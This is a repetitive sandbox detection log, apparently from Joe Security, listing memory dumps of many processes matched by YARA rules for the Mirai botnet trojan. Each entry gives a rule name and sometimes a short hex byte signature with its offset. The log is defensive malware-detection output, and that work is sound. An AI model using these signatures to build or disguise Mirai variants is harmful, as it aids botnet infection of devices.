6617.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6617.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6617.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6537.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6537.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6537.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6537.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6537.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6537.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6790.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6790.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6790.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6790.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6790.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6790.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6833.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6833.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6833.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6833.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6833.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6833.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6267.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6267.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7361.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7361.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7001.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7001.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7001.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7001.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7001.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7001.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6321.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6321.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6830.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6830.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6830.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6830.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6830.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6830.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6877.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6877.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6877.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6877.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6877.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6877.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7046.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7046.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7046.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7046.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7046.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7046.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6816.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6816.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6816.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6816.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6816.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6816.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6613.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6613.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6613.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6613.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6613.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6613.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6536.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7293.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7173.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6761.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6912.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6462.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7082.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7242.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7054.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7054.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7054.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7054.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7054.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7054.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7177.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7177.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7177.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6735.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6735.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6735.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6735.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6735.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6735.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6811.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6958.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6485.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6485.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7048.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6570.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6536.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6536.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6761.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6761.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6761.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6761.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6761.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7082.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7082.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7082.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7082.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7082.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7177.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7177.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7177.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6811.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6811.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6485.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6485.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6485.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6485.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7173.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7173.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7173.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7173.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7173.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7433.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7336.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6811.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6811.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6811.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6570.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6570.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6570.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6570.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6570.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6536.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6536.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6536.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6912.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6912.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7336.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6912.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6912.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6912.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
